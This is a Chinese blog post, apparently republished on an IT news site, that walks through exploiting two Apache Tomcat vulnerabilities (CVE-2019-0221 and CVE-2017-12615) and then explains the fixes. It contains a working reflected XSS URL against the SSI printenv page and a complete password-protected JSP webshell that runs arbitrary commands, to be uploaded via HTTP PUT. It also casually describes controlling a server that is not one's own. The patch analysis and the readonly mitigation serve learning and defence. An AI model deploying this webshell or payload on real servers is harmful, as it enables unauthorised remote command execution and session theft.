我成功攻击了Tomcat服务器之后
Tomcat是一个开源的轻量级Web应用服务器,在我们平常工作过程中接触得非常多。代码也非常经典,很多人为了提升自己的技术也会去阅读学习Tomcat的源码。但正如著名诗人李白所说的:世界上本没有漏洞,使用的人多了,也就发现了漏洞。比如今年的2月份就爆出了存在文件包含漏洞。今天我们选择两个比较直观的Tomcat漏洞去模拟整个漏洞被攻击的过程,以及漏洞为什么会产生,Tomcat大神们又是如何应对的。
【攻击一:XSS攻击】
一、SSI技术说明
首先演示的漏洞和Tomcat的SSI功能有关,SSI是什么
SSI技术,也叫作Serve Side Includes,SSI(服务器端包含)是放置在HTML页面中的指令,并在服务页面时在服务器上对其进行评估。它们使您可以将动态生成的内容添加到现有的HTML页面,而不必通过CGI程序或其他动态技术来提供整个页面。使用SSI技术文件默认的后缀名为.shtml;
举例:我们可以将指令放置到现有的HTML页面中,例如:
!--#echo var="DATE_LOCAL" -->
当该页面被执行时,将会显示如下结果
Sunday, 22-March-2020 18:28:54 GMT
SSI最常见的用途之一:输出CGI程序的结果,例如``命中计数器''。关于该技术更为详细的说明参见:http://httpd.apache.org/docs/current/howto/ssi.html
二、为Tomcat开启SSI
- 准备好JRE、tomcat环境,我选择的是“apache-tomcat-9.0.10” (该漏洞受影响的版本有:Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 )
- 修改conf/context.xml第19行,开启权限
<Context privileged="true">
- 修改confweb.xml,开启SSI Servlet。该段代码默认是被注释掉的,我们删除注释即可,代码在310-322行。
<servlet> <servlet-name>ssi</servlet-name> <servlet-class> org.apache.catalina.ssi.SSIServlet </servlet-class> <init-param> <param-name>buffered</param-name> <param-value>1</param-value> </init-param> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>expires</param-name> <param-value>666</param-value> </init-param> <init-param> <param-name>isVirtualWebappRelative</param-name> <param-value>false</param-value> </init-param> <load-on-startup>4</load-on-startup> </servlet>
去掉关于ssi配置的注释 422-425行
<servlet-mapping> <servlet-name>ssi</servlet-name> <url-pattern>*.shtml</url-pattern> </servlet-mapping>
- 在根目录下添加madashu_env.shtml(习惯性命名为printEnv.shtml)文件,位于webapps/ROOT/ssi/
<html><head><title></title><body> Echo: <!--#echo var="QUERY_STRING_UNESCAPED" --><br/><br/> Env: <!--#printenv --> </body></html>
- 启动Tomcat即可
三、发起攻击
- 我们输入以下url看下效果
http://localhost:8080/ssi/madashu_env.shtml?%3Cbr/%3E%3Cbr/%3E%3Ch1%3EHello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%3C/h1%3E%3Cbr/%3E%3Cbr/%3E
- XSS注入
http://localhost:8080/ssi/madashu_env.shtml?%3Cscript%3Ealert(%27Hello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%27)%3C/script%3E
攻击成功,页面展示如下。
通过这种方式我们使用户加载并执行攻击者恶意制造的网页程序,攻击者还可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
四、源码分析
漏洞产生后,Tomcat大神们迅速修复了该漏洞,我们从Github上找到当时的代码修复提交记录:点击查看commit
说真的,当时看到这段修复代码我是惊呆了,这是什么骚操作!!!“entity”又是什么鬼!!!
于是接下往下翻代码
这个地方将我们输入的变量值直接输出到了网页,很明显刚刚的entity应该是进行了转码。我们找到SSIMediator.java文件,路径org.apache.catalina.ssi. SSIMediator
这样我们一下子就明白过来了,当发现是“entity”编码,会将输入的内容进行Escape,从而避免了XSS。
估计大神们当时也是紧急出了个hotfix版本,直接把参数写死成“entity”。还有作为Web服务器,大神们竟然也会犯这么低级别的错误,所以这也解释了为什么不存在0Bug的系统,哈哈!去翻看最新的SSIPrintenv.java
文件,已经把“entity”定义成常量了,这才专业嘛!
【攻击二:远程代码执行】
接下来再简单演示下远程代码执行漏洞,该漏洞为高危漏洞,即使是非默认配置,但是一旦存在漏洞,那么攻击者可以成功上传 Webshell,并控制服务器。
- 通过put方式上传文件,请求进行中时进行拦截:
- 生成恶意文件,取名叫
jiansheng.jsp
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp +"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
- 远程上传成功,接下来就可以愉快地在这个不属于我们自己的tomcat里玩耍了
- 整个代码也是比较简单的,可以翻看
JspServlet.java
,这里就不做演示了。
说明:该漏洞影响范围非常广,从 5.x 到 9.x 全部中枪。最好的解决方式是将 conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true。
【结语】兴趣是最好的老师,我们通过去看大佬们掉过的坑,写过的代码,站在巨人的肩膀人可以更快速地提升自己。有兴趣的小伙伴可以去看看Tomcat已爆出的漏洞:
http://tomcat.apache.org/security-9.html
本次演示的两个漏洞分别是CVE-2019-0221,CVE-2017-12615。
低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
Eclipse IDE支持Java 14
随着JDK 14的发布(https://waylau.com/jdk-14-released/),各大Java IDE也开始支持JDK 14。最新版本的Eclipse IDE 2020-03也于2020年3月18日发布,本文介绍如何通过Eclipse IDE来开发Java 14应用。 下载 下载地址https://www.eclipse.org/downloads/packages/ 根据个人的需要,下载Java Developers或者Enterprise Java Developers版本。 设置JDK 下载最新的JDK 14,并在Eclipse IDE中指向该JDK。 设置Maven 可选。如果项目是使用Maven管理,则建议下载最新的Maven,并在Eclipse IDE中指向该Maven。 设置网络代理 为了更快的下载插件,需要设置代理。 设置代码样式 可选。设置符合自己需求的代码样式。 设置字符 建议使用UTF-8。 安装支持Java 14的插件 由于当前的Eclipse还未正式支持Java 14,需要额外安装Java 14 Support for Eclipse 2020...
- 下一篇
这个B站up主太硬核了!纯手工打造AI小电视:硬件自己焊接,驱动代码全手写
云栖号资讯:【点击查看更多行业资讯】在这里您可以找到不同行业的第一手的上云资讯,还在等什么,快来! 一个低调的AI开发者,凭什么登上B站首页、一个视频百万播放,并且外行内行看了都服气? 凭的是硬核纯手工作品——一台“套娃”小电视。 而且这可能是史上最硬核的一次“套娃”:在纯手工制作的电视里成功播放了B站小电视。 如果你以为它只能播放B站视频的开发板+显示屏,那就大错特错了。 这可是一台从零开始制造的AI助手“贾维斯”。 不仅能当语音助手,还能处理实时图像,甚至能当web服务器。。。 up主和钢铁侠一样,自己画设计图、手工焊接组成。就像钢铁侠当年在山洞里造出第一代战衣。 整个小电视除了芯片外,几乎全是up主自行设计完成。不知道up主看到小电视正常开机的一瞬间,会不会有斯塔克冲出山洞的感觉。 打造这个套娃小电视的up主“稚晖君”本名彭志辉,现在是一名OPPO的AI工程师。 之前稚晖君就在B站分享过很多DIY硬件视频,虽硬核却不温不火,直到自制小电视的出现,他的作品第一次登上B站推荐首页,收获了超过100万的播放量。 所谓外行看热闹,内行看门道。他的视频到底厉害在哪里呢?一位专业网友表示: ...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
-
Docker使用Oracle官方镜像安装(12C,18C,19C)
- Springboot2将连接池hikari替换为druid,体验最强大的数据库连接池
- CentOS8编译安装MySQL8.0.19
- Docker快速安装Oracle11G,搭建oracle11g学习环境
- SpringBoot2配置默认Tomcat设置,开启更多高级功能
- MySQL8.0.19开启GTID主从同步CentOS8
- CentOS7,8上快速安装Gitea,搭建Git服务器
- Jdk安装(Linux,MacOS,Windows),包含三大操作系统的最全安装
- SpringBoot2编写第一个Controller,响应你的http请求并返回结果